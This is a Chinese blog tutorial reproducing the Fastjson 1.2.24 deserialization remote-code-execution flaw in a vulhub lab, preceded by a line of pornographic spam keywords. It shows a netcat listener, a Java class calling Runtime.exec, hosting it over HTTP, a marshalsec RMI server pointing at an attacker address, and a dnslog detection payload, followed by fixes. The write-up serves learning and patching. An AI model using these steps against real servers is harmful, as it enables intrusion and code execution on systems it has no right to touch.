国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

Fastjson反序列化漏洞(1.2.24 RCE)

這篇具有很好參考價(jià)值的文章主要介紹了Fastjson反序列化漏洞(1.2.24 RCE)。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

目錄

(一)Fastjson介紹

1、認(rèn)識Fastjson

1.1?序列化

1.2??反序列化

1.3?@type 自省 Autotype

(二)漏洞原理

1、比較常用的攻擊類

1.1??com.sun.rowset.JdbcRowSetImpl

1.2?com.sun.org.apache.xalan.internal.xsltc.trax. TemplatesImp

(三)1.2.24 RCE復(fù)現(xiàn)

1、vulnhub啟動

注意:Linux配置JRE版本

2、攻擊機(jī)監(jiān)聽(kali)

?3、惡意腳本準(zhǔn)備與上傳(kali)

1、編譯成 class文件

2、啟動HTTP服務(wù)器

4、LDAP服務(wù)啟動(kali)

1、借助marshalsec項(xiàng)目,快速開啟rmi或ldap服務(wù)

2、啟動一個(gè)RMI服務(wù)器,監(jiān)聽9473端口,并制定加載遠(yuǎn)程類LinuxTouch.class:

5、Burp發(fā)送payload

?(四)漏洞原理(JdbcRowSetImpl利用鏈)

1、set方法

1. 1、setSourceName()

1.2、setAutoCommit()

(五)漏洞挖掘

1、思路

1.1?找到發(fā)送JSON序列化數(shù)據(jù)的接口

1.2??判斷是否使用fastjon

(六)修復(fù)方案

1、升級JDK

2、升級Fastjson到最新版

3、使用安全產(chǎn)品過濾非法內(nèi)容

4、更換其它序列化工具


(一)Fastjson介紹


1、認(rèn)識Fastjson

????????Fastjson是一個(gè)JSON工具庫,它的作用就是把java對象轉(zhuǎn)換為json形式,也可

以用來將 json 轉(zhuǎn)換為 java 對象。

1.1?序列化


????????序列化的時(shí)候,會調(diào)用成員變量的get方法,私有成員變量不會被序列化,注意它不包括類名。
eg:
String text-JSON.toJSONString(obj);//序列化

{name='jinyouxin', age=66, flag=true, sex='boy',address='null'}

1.2??反序列化


????????反序列化 的時(shí)候, 會調(diào)用成員變量的set方法, publibc修飾的成員全部自動賦值。
  • JSON.parseObject
????????返回實(shí)際類型對象(用得更多),后面接想要反序列的類型, 返回實(shí)際類型對象 .

eg:

User user4 = JSON.parseObject( serializedStr, User.class);
  • JSON.parse
????????JSON.parse() 返回JsonObject對象
eg:
Object obj1 =JSON.parse(serializedStr);

1.3?@type 自省 Autotype


? ? ? ? 引入這個(gè)功能的目的是在序列化的時(shí)候防止子類中包含接口或抽象類的時(shí)候,類型丟失,這樣我們在反序列化的時(shí)候就不需要再指定類名。

eg:

之前我們序列化對象時(shí): {name='jinyouxin', age=66, flag=true, sex='boy', address='null'}
現(xiàn)在我們引入了自省后為? {" @type ":" com.jinyouxin.test.User ","age":33,"flag":false,"name":"wuya"}
????????漏洞在這里就發(fā)生了,@type中提供了對對象反序列化的類型定義,我們就可以修改此內(nèi)容的值。

(二)漏洞原理


????????fastjson在對 JSON 字符串進(jìn)行反序列化的時(shí)候,會讀取 @type 的內(nèi)容,試圖把 JSON 內(nèi)容反序列化成這個(gè)對象,并且會調(diào)用這個(gè)類的set方法, 利用這個(gè)特性,構(gòu)造一個(gè) JSON 字符串,并且使 @type 反序列化一個(gè)自己想要使用的 攻擊類庫

1、比較常用的攻擊類


1.1??com.sun.rowset.JdbcRowSetImpl

????????這是sun 官方提供的一個(gè)類庫,這個(gè)類的 dataSourceName 支持傳入一個(gè)rmi 的源,當(dāng)解析這個(gè) uri 的時(shí)候,就會支持 rmi遠(yuǎn)程調(diào)用 ,去指定的rmi 地址中去調(diào)用方法

Fastjson反序列化漏洞(1.2.24 RCE)

1.2?com.sun.org.apache.xalan.internal.xsltc.trax. TemplatesImp

原理同上

(三)1.2.24 RCE復(fù)現(xiàn)


1、vulnhub啟動

  1. cd fastjson/1.2.24-rce
  2. docker-compose build
  3. docker-compose up -d

Fastjson反序列化漏洞(1.2.24 RCE)

?

訪問端口:

Fastjson反序列化漏洞(1.2.24 RCE)

?文章來源地址http://www.zghlxwxcb.cn/news/detail-468996.html

注意:Linux配置JRE版本

vim /etc/profile
export
JAVA_HOME=/usr/local/soft/java/jdk1.8.0_74
export PATH=$JAVA_HOME/bin:$PATH
export
CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HO
ME/lib/tools.jar
source /etc/profile

2、攻擊機(jī)監(jiān)聽(kali)


nc -lvp 9001

Fastjson反序列化漏洞(1.2.24 RCE)

之前在Redis未授權(quán)漏洞介紹過反彈連接,在這里就是啟動此環(huán)境

?3、惡意腳本準(zhǔn)備與上傳(kali)


1、編譯成 class文件

編譯惡意代碼,通過javac LinuxRevers 編譯成class文件,將編譯好的class上傳至你的web服務(wù)器,地址為http://yours_ip/exp/LinuxTouch.class

public class LinuxTouch {
    public LinuxTouch(){
        try{
            Runtime.getRuntime().exec("touch /tmp/fast-success.txt");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        LinuxTouch e = new LinuxTouch();
    }
}

? ? ? ? 仔細(xì)閱讀代碼不難發(fā)現(xiàn),只要下載代碼,里面有main方法,就要執(zhí)行惡意代碼,攻擊執(zhí)行

2、啟動HTTP服務(wù)器


  • python -m http.server 8089 ???????????????????????????????py3
  • python –m SimpleHTTPServer 8088 ????????????????py2

????????啟動http服務(wù)的目的是給LinuxTouch.class提供下載,假如我們在瀏覽器直接輸入url時(shí),它就會自動下載.class文件。

Fastjson反序列化漏洞(1.2.24 RCE)

4、LDAP服務(wù)啟動(kali)


1、借助marshalsec項(xiàng)目,快速開啟rmi或ldap服務(wù)

git clone https://github.com/mbechler/marshalsec #下載marshalsec
apt install maven #下載maven,使用maven進(jìn)行編譯jar包
cd marshalsec mvn clean package ‐DskipTests

2、啟動一個(gè)RMI服務(wù)器,監(jiān)聽9473端口,并制定加載遠(yuǎn)程類LinuxTouch.class:

? ? ? ? 我們可以把它理解為中介,如果有人訪問9473端口的話,就讓這個(gè)人訪問LinuxTouch.class,把它自動下載到本地。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.142.132:8089/#LinuxTouch" 9473

Fastjson反序列化漏洞(1.2.24 RCE)

?

5、Burp發(fā)送payload


? ? ? ??

Fastjson反序列化漏洞(1.2.24 RCE)

? ? ? ? 我們先用POST訪問 8090 的端口,本網(wǎng)頁可以接收序列化和反序列化的接口,它就拿到下面的內(nèi)容進(jìn)行反序列化,@type?具有自醒的功能,在反序列化的過程中,它會連接到本機(jī)已經(jīng)在kali里面已經(jīng)啟動好的RMI的服務(wù),RMI讓它去訪問下載LinuxTouch.class文件,這樣攻擊就發(fā)生了。

?

Fastjson反序列化漏洞(1.2.24 RCE)

?(四)漏洞原理(JdbcRowSetImpl利用鏈)


? ? ? ? 經(jīng)過上面的漏洞復(fù)現(xiàn),我們大致可以理解漏洞執(zhí)行的過程,接下來就要具體分析里面方法是怎么 "connect"

1、set方法

? ? ? ? 我們想要把二個(gè)屬性 dataSourceName 和 autoCommit 反序列化成JdbcRowSetImpl類,要調(diào)用setDataSourceName()和setAutoCommit()的方法。

1. 1、setSourceName()

Fastjson反序列化漏洞(1.2.24 RCE)

?????????給數(shù)據(jù)源的名字進(jìn)行賦值。

1.2、setAutoCommit()

Fastjson反序列化漏洞(1.2.24 RCE)

connect()的方法就危險(xiǎn)!!!

Fastjson反序列化漏洞(1.2.24 RCE)

? ? ? ? ?JNDI一旦調(diào)用lookup()方法,就會連接到LDAP/RMI服務(wù)器,下載惡意代碼到本地,執(zhí)行,攻擊發(fā)生.

(五)漏洞挖掘


1、思路

1.1?找到發(fā)送JSON序列化數(shù)據(jù)的接口

1.2??判斷是否使用fastjon

  • 1)非法格式報(bào)錯
{"x":"

?

Fastjson反序列化漏洞(1.2.24 RCE)

  • 2)使用dnslog探測
{"x":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}

(六)修復(fù)方案


1、升級JDK

Fastjson反序列化漏洞(1.2.24 RCE)

?

6u211 / 7u201 / 8u191 /11.0.1

2、升級Fastjson到最新版

fastjson.parser.safeMode=true

3、使用安全產(chǎn)品過濾非法內(nèi)容

4、更換其它序列化工具

Jackson/Gson

到了這里,關(guān)于Fastjson反序列化漏洞(1.2.24 RCE)的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • Fastjson反序列化遠(yuǎn)程代碼執(zhí)行漏洞

    Fastjson反序列化遠(yuǎn)程代碼執(zhí)行漏洞

    據(jù)國家網(wǎng)絡(luò)與信息安全信息通報(bào)中心監(jiān)測發(fā)現(xiàn),開源Java開發(fā)組件Fastjson存在反序列化遠(yuǎn)程代碼執(zhí)行漏洞。攻擊者可利用上述漏洞實(shí)施任意文件寫入、服務(wù)端請求偽造等攻擊行為,造成服務(wù)器權(quán)限被竊取、敏感信息泄漏等嚴(yán)重影響。 先貼一個(gè)解決漏洞的方案: 不過任何升級一

    2024年02月09日
    瀏覽(20)
  • Fastjson反序列化漏洞原理與復(fù)現(xiàn)

    Fastjson是java的一個(gè)庫,可以將Java對象轉(zhuǎn)化為json格式的字符串,也可以將json格式的字符串轉(zhuǎn)化為Java對象。 Fastjson提供了 toJSONString() 和 parseObject() 方法來將Java對象與JSON相互轉(zhuǎn)換。調(diào)用 toJSONString() 方法即可將對象轉(zhuǎn)換成 JSON 字符串, parseObject() 方法則反過來將JSON字符串轉(zhuǎn)換成

    2024年02月12日
    瀏覽(38)
  • Hessian 反序列化RCE漏洞復(fù)現(xiàn)

    Hessian 反序列化RCE漏洞復(fù)現(xiàn)

    ? ? ?Hessian是二進(jìn)制的web service協(xié)議,官方對Java、Flash/Flex、Python、C++、.NET C#等多種語言都進(jìn)行了實(shí)現(xiàn)。Hessian和Axis、XFire都能實(shí)現(xiàn)web service方式的遠(yuǎn)程方法調(diào)用,區(qū)別是Hessian是二進(jìn)制協(xié)議,Axis、XFire則是SOAP協(xié)議,所以從性能上說Hessian遠(yuǎn)優(yōu)于后兩者,并且Hessian的JAVA使用方法非

    2024年02月11日
    瀏覽(34)
  • 滲透測試-Fastjson反序列化漏洞getshell

    滲透測試-Fastjson反序列化漏洞getshell

    目錄 前言 測試環(huán)境準(zhǔn)備 dnslog測試 搭建rmi服務(wù)器準(zhǔn)備惡意類 引用JdbcRowSetImpl攻擊 反彈shell$命令執(zhí)行 總結(jié) :fastjson 1.2.24反序列化導(dǎo)致任意命令執(zhí)行漏洞 注:本次滲透測試全在虛擬機(jī)中進(jìn)行僅用于學(xué)習(xí)交流,請勿在實(shí)際網(wǎng)絡(luò)中攻擊他人服務(wù)器。 前言 ????????最原始

    2024年02月07日
    瀏覽(31)
  • 【java安全】FastJson反序列化漏洞淺析

    【java安全】FastJson反序列化漏洞淺析

    0x00.前言 前面我們學(xué)習(xí)了RMI和JNDI知識,接下來我們就可以來了解一下FastJson反序列化了 0x01.FastJson概述 FastJson是阿里巴巴的開源JSON解析庫,它可以解析JSON格式的字符串,支持 將JavaBean序列化為JSON字符串,也可以將JSON字符串反序列化到JavaBean 0x02.FastJson使用 首先我們需要使用

    2024年02月11日
    瀏覽(33)
  • fastJson反序列化漏洞和log4j漏洞

    有 attach.class (編譯好的文件) 攻擊者建立rmi服務(wù)端,于rmi服務(wù)端建造一系列攻擊對象 ,假設(shè)遠(yuǎn)程地址為 http://abc,可url鏈接到惡意class-attach.class 若被攻擊者訪問到此服務(wù) rmi://abc/attach.class ,靜態(tài)代碼塊會優(yōu)先加載,無需構(gòu)造對象。 fastJson通過序列化漏洞 fastJson=1.2.47 (高版本添

    2024年02月16日
    瀏覽(25)
  • 網(wǎng)絡(luò)安全-JDBC反序列化漏洞與RCE

    網(wǎng)絡(luò)安全-JDBC反序列化漏洞與RCE

    ubuntu 20:ip 10.28.144.100,安裝docker、python3、docker-compose(可選)、Java(可選) windows11:ip 10.28.144.10,安裝了Java、wireshark、Navicat(可選)、IDEA(可選) Java中這些magic方法在反序列化的時(shí)候會自動調(diào)用: readObject() readExternal() readResolve() readObjectNoData() validateObject() finalize() Java

    2024年02月10日
    瀏覽(23)
  • Kafka反序列化RCE漏洞(CVE-2023-34040)

    Spring Kafka 是 Spring Framework 生態(tài)系統(tǒng)中的一個(gè)模塊,用于簡化在 Spring 應(yīng)用程序中集成 Apache Kafka 的過程,記錄 (record) 指 Kafka 消息中的一條記錄。 受影響版本中默認(rèn)未對記錄配置? ErrorHandlingDeserializer ,當(dāng)用戶將容器屬性? checkDeserExWhenKeyNull ?或? checkDeserExWhenValueNull ?設(shè)置為

    2024年02月06日
    瀏覽(32)
  • ?金蝶云星空管理中心反序列化RCE漏洞復(fù)現(xiàn) 附POC

    免責(zé)聲明:請勿利用文章內(nèi)的相關(guān)技術(shù)從事非法測試,由于傳播、利用此文所提供的信息或者工具而造成的任何直接或者間接的后果及損失,均由使用者本人負(fù)責(zé),所產(chǎn)生的一切不良后果與文章作者無關(guān)。該文章僅供學(xué)習(xí)用途使用??!?

    2024年02月07日
    瀏覽(28)
  • QVD-2023-19300:致遠(yuǎn)M1 usertokenservice反序列化RCE漏洞復(fù)現(xiàn)

    免責(zé)聲明:請勿利用文章內(nèi)的相關(guān)技術(shù)從事非法測試,由于傳播、利用此文所提供的信息或者工具而造成的任何直接或者間接的后果及損失,均由使用者本人負(fù)責(zé),

    2024年02月07日
    瀏覽(19)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包